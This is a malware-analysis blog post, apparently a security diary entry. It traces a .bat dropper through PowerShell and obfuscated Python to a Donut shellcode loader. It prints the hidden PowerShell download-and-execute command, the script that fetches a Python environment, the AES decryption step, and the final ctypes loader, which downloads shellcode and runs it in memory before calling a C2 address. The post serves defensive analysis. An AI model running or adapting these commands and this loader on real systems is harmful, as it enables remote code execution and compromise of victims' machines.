My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Do you Like Donuts? Here is a Donut Shellcode Delivered Through PowerShell/Python

Published: 2024-08-19. Last Updated: 2024-08-19 06:17:21 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I found a tiny .bat file that looked not suspicious at all: 3650.bat (SHA256:bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290) with a very low VirusTotal score (2/65)[1]. The file is very simple, it invokes a PowerShell:

@shift /0
@echo off
powershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('hxxps://oshi[.]at/awMj/update.ps1')"

At first, the downloaded PowerShell script will fetch a bunch of ZIP archives and unpack them:

$newFolderPath = "C:\Users\Public\document"
if (-not (Test-Path -Path $newFolderPath -PathType Container)) {
    New-Item -ItemType Directory -Path $newFolderPath | Out-Null
    Write-Host "Folder created successfully at $newFolderPath"
} else {
    Write-Host "Folder already exists at $newFolderPath"
}
$downloads = @(
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/python311.zip"; Output = "C:\Users\Public\document\python311.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document1.zip"; Output = "C:\Users\Public\document1.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document2.zip"; Output = "C:\Users\Public\document2.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document3.zip"; Output = "C:\Users\Public\document3.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document4.zip"; Output = "C:\Users\Public\document4.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document5.zip"; Output = "C:\Users\Public\document5.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document6.zip"; Output = "C:\Users\Public\document6.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document7.zip"; Output = "C:\Users\Public\document7.zip" },
    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document8.zip"; Output = "C:\Users\Public\document8.zip" }
)
foreach ($download in $downloads) {
    Start-Job -ScriptBlock {
        param($url, $output)
        Invoke-WebRequest -Uri $url -OutFile $output
    } -ArgumentList $download.Url, $download.Output
}
Get-Job | Wait-Job
Get-Job | Format-Table -Property State, HasMoreData, Id, @{ Label = "Url"; Expression = { $downloads[$_.Name.Split("_")[1]].Url } }, @{ Label = "Output"; Expression = { $downloads[$_.Name.Split("_")[1]].Output } }
Expand-Archive C:\Users\Public\document1.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue
Expand-Archive C:\Users\Public\document2.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue
Expand-Archive C:\Users\Public\document3.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue
Expand-Archive C:\Users\Public\document4.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue
Expand-Archive C:\Users\Public\document5.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue
Expand-Archive C:\Users\Public\document6.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinue
Expand-Archive C:\Users\Public\document7.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinue
Expand-Archive C:\Users\Public\document8.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinue

It will fetch a complete Python environment with all the required libraries to execute the next stage:

Indeed, the next step is to download and execute a Python script:

Invoke-WebRequest hxxps://oshi[.]at/Nbmv/python.py -OutFile C:\Users\Public\python.py
C:\Users\Public\document\python.exe C:\Users\Public\python.py

If the initial PowerShell script was not obfuscated, this Python one is definitively more tricky to read:

import zlib,marshal,base64;from Crypto.Cipher import AES;from Crypto.Random import get_random_bytes;from Crypto.Util.Padding import pad, unpad;exec(marshal.loads(base64.b64decode("YwAAAAAAAAAAAAAAAA ... (removed) ... AAAFACQDpyEAAAAA==")))

Marshal[2] is the internal Python object serialization module that contains functions to read and write Python values in a binary format. To have a first look at the Base64 payload, we can use the dis module[3]. The call to exec() means that Python will receive some bytecode. The dis module supports the analysis of bytecode by disassembling it. If you replace exec() by dis.dis(), you get more information about the next stage:

0           0 RESUME                   0
1           2 LOAD_CONST               0 (0)
            4 LOAD_CONST               1 (None)
            6 IMPORT_NAME              0 (zlib)
            8 STORE_NAME               0 (zlib)
           10 LOAD_CONST               0 (0)
           12 LOAD_CONST               1 (None)
           14 IMPORT_NAME              1 (marshal)
           16 STORE_NAME               1 (marshal)
           18 LOAD_CONST               0 (0)
           20 LOAD_CONST               1 (None)
           22 IMPORT_NAME              2 (base64)
           24 STORE_NAME               2 (base64)
           26 LOAD_CONST               0 (0)
           28 LOAD_CONST               2 (('AES',))
           30 IMPORT_NAME              3 (Crypto.Cipher)
           32 IMPORT_FROM              4 (AES)
           34 STORE_NAME               4 (AES)
           36 POP_TOP
           38 LOAD_CONST               0 (0)
           40 LOAD_CONST               3 (('get_random_bytes',))
           42 IMPORT_NAME              5 (Crypto.Random)
           44 IMPORT_FROM              6 (get_random_bytes)
           46 STORE_NAME               6 (get_random_bytes)
           48 POP_TOP
           50 LOAD_CONST               0 (0)
           52 LOAD_CONST               4 (('pad', 'unpad'))
           54 IMPORT_NAME              7 (Crypto.Util.Padding)
           56 IMPORT_FROM              8 (pad)
           58 STORE_NAME               8 (pad)
           60 IMPORT_FROM              9 (unpad)
           62 STORE_NAME               9 (unpad)
           64 POP_TOP
           66 PUSH_NULL
           68 LOAD_NAME               10 (exec)
           70 PUSH_NULL
           72 LOAD_NAME                0 (zlib)
           74 LOAD_ATTR               11 (decompress)
           84 LOAD_CONST               5 (b'x\x9c5Vy_\xdbF\x10\xfd*\\\x01;\x1c ... (removed) ... \xbf}h\xb5\xdb\xff\x01RX?6')
           86 PRECALL                  1
           90 CALL                     1
          100 LOAD_METHOD             12 (decode)
          122 PRECALL                  0
          126 CALL                     0
          136 PRECALL                  1
          140 CALL                     1
          150 POP_TOP
          152 LOAD_CONST               1 (None)
          154 RETURN_VALUE

The presence of references to Crypto functions and the hex-encoded payload reveals the technique used to decote the next stage.

Once the data decompressed, let’s decrypt manually the payload:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b'\xe4TCV\x05.F\x97v\xb4\x9a_\x92\x8e^5\xc14\xd0fgY;"\xf3gu:h\x92\xc0\x08'
iv = b'\xeb<\xd0\xdb\\\xef[7ns\xe47\x84c\xc4C'
ciphertext = b'nrs.wn=\x85\xc7\x85\xd0\xacL\x97\xf1\xd6 … \xd9\x88\xd9\xe7\x12\x9d\xc8&'
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(plaintext.decode('utf-8'))

We have the final Python payload:

import ctypes
from pathlib import Path
import base64
import requests

payload_data = base64.b64decode(requests.get("hxxps://files[.]catbox[.]moe/7p917w.txt").text)

shellcode = bytearray(payload_data)  # Removed unnecessary part
kernel32 = ctypes.windll.kernel32

kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]

ptr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)  # Use specific address instead of None
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ptr, buffer, len(shellcode))
handle = kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None)
kernel32.WaitForSingleObject(handle, -1)

This code will fetch the final shellcode and execute it from memory. The shellcode has been generated with Donut[4]. It tries to phone home to 160.30.21.115:7000 but the C2 is down at the moment...

[1] https://www.virustotal.com/gui/file/bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290
[2] https://docs.python.org/fr/3/library/marshal.html
[3] https://docs.python.org/3/library/dis.html
[4] https://github.com/TheWover/donut

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives